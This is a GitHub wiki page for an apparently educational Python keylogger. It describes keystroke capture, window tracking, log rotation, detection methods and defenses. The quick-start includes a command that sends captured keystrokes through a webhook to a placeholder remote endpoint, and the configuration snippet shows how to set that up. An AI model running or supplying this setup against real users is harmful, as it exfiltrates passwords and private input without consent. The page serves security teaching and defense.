Skip to content

Keylogger

Carter Perez edited this page Dec 9, 2025 · 1 revision

Keylogger

Modern Python 3.13+ educational keylogger for security research and learning.

Overview

A cross-platform keylogger demonstrating keyboard event capture techniques. Built for educational purposes to understand how keyloggers work, how to detect them, and how to defend against them.

Status: Complete | Difficulty: Beginner

Legal Disclaimer

This tool is for educational and authorized security testing only. Only use on systems you own or have explicit permission to test. Unauthorized keylogging is illegal.

Legitimate use cases:

  • Security research
  • Penetration testing (with authorization)
  • Parental monitoring (with disclosure)
  • Personal productivity tracking
  • Digital forensics training

Tech Stack

Technology Version Purpose
Python 3.13+ Modern syntax, native type hints
pynput 1.8 Keyboard event hooking
requests 2.32 Webhook delivery

Platform-Specific

Platform Dependency Purpose
Windows pywin32, psutil Window tracking via Win32 API
macOS pyobjc-framework-Cocoa NSWorkspace API
Linux xdotool Window tracking CLI

Features

Core Functionality

  • Real-time keyboard event capture
  • Timestamped logs (microsecond precision)
  • Active window tracking
  • Special key detection (F-keys, modifiers, control chars)
  • Human-readable key conversion

Advanced Features

  • Automatic log rotation (configurable size, default 5MB)
  • Toggle control (F9 to pause/resume)
  • Remote delivery via webhook (C2 simulation)
  • Cross-platform support
  • Thread-safe operations

Architecture

┌─────────────────────────────────────────────────────────┐
│                      Keylogger                           │
│                   (Main Orchestrator)                    │
│  ┌─────────────────────────────────────────────────┐    │
│  │              KeyloggerConfig                     │    │
│  │  log_file | webhook_url | max_size | toggle_key │    │
│  └─────────────────────────────────────────────────┘    │
└────────────────────────┬────────────────────────────────┘
                         │
         ┌───────────────┼───────────────┐
         │               │               │
         ▼               ▼               ▼
┌─────────────┐  ┌─────────────┐  ┌─────────────────┐
│ LogManager  │  │ Webhook     │  │ WindowTracker   │
│             │  │ Delivery    │  │                 │
│ - write()   │  │             │  │ - get_active()  │
│ - rotate()  │  │ - send()    │  │ - platform      │
│ - flush()   │  │ - batch()   │  │   detection     │
└─────────────┘  └─────────────┘  └─────────────────┘
         ▲               ▲               ▲
         │               │               │
         └───────────────┼───────────────┘
                         │
┌────────────────────────▼────────────────────────────────┐
│                    pynput Listener                       │
│              (OS-level keyboard hook)                    │
│                                                          │
│   on_press(key) ─────> KeyEvent ─────> Processing       │
│                                                          │
│   KeyEvent:                                              │
│   - key: str                                             │
│   - timestamp: datetime                                  │
│   - key_type: KeyType                                    │
│   - window: str | None                                   │
└─────────────────────────────────────────────────────────┘

Quick Start

cd PROJECTS/keylogger

# Install dependencies
pip install -e .

# Run keylogger
python keylogger.py

# With webhook
python keylogger.py --webhook https://your-endpoint.com/logs

# Custom log file
python keylogger.py --log-file /path/to/keylog.txt

Configuration

from keylogger import KeyloggerConfig, Keylogger

config = KeyloggerConfig(
    log_file="keylog.txt",      # Output file
    webhook_url=None,            # Remote delivery endpoint
    max_log_size=5_000_000,      # 5MB before rotation
    toggle_key="f9",             # Pause/resume key
    batch_size=100,              # Webhook batch size
    include_window=True          # Track active window
)

keylogger = Keylogger(config)
keylogger.start()

Output Format

[2024-01-15 14:32:15.123456] [Chrome - GitHub] h
[2024-01-15 14:32:15.234567] [Chrome - GitHub] e
[2024-01-15 14:32:15.345678] [Chrome - GitHub] l
[2024-01-15 14:32:15.456789] [Chrome - GitHub] l
[2024-01-15 14:32:15.567890] [Chrome - GitHub] o
[2024-01-15 14:32:15.678901] [Chrome - GitHub] [SPACE]
[2024-01-15 14:32:16.789012] [Terminal] [CTRL]
[2024-01-15 14:32:16.890123] [Terminal] c

Key Types

Type Examples
Regular a-z, 0-9, symbols
Special [SPACE], [ENTER], [TAB], [BACKSPACE]
Function [F1]-[F12]
Modifier [CTRL], [ALT], [SHIFT], [CMD]
Control [ESC], [DELETE], [INSERT], [HOME], [END]

Detection Methods

Understanding how keyloggers are detected helps in both offense and defense:

Process Monitoring

  • Unusual processes with keyboard hooks
  • High-privilege processes accessing input devices
  • Processes with no visible window

Network Analysis

  • Unexpected outbound connections
  • Data exfiltration patterns
  • Webhook/C2 traffic

File System

  • New files in temp/startup directories
  • Log files with keystroke patterns
  • Suspicious file access patterns

Behavioral

  • Input lag or stuttering
  • Unexpected CPU usage
  • EDR/antivirus alerts

Defense Strategies

For Users

  • Use virtual keyboards for sensitive input
  • Monitor running processes
  • Use anti-keylogger software
  • Keep systems updated

For Organizations

  • Application whitelisting
  • Endpoint Detection & Response (EDR)
  • Network segmentation
  • User awareness training
  • Startup item auditing

Development

# Run tests
python -m pytest test_keylogger.py -v

# Type checking
mypy keylogger.py

# Linting
ruff check keylogger.py
pylint keylogger.py

# Format
ruff format keylogger.py

Code Highlights

Modern Python 3.13+ features:

# Native type hints (no typing import)
def process_key(key: str | None) -> KeyEvent:
    ...

# Match statements
match key_type:
    case KeyType.REGULAR:
        return key.char
    case KeyType.SPECIAL:
        return f"[{key.name.upper()}]"
    case _:
        return "[UNKNOWN]"

# Dataclasses
@dataclass
class KeyEvent:
    key: str
    timestamp: datetime
    key_type: KeyType
    window: str | None = None

References

Source Code

View on GitHub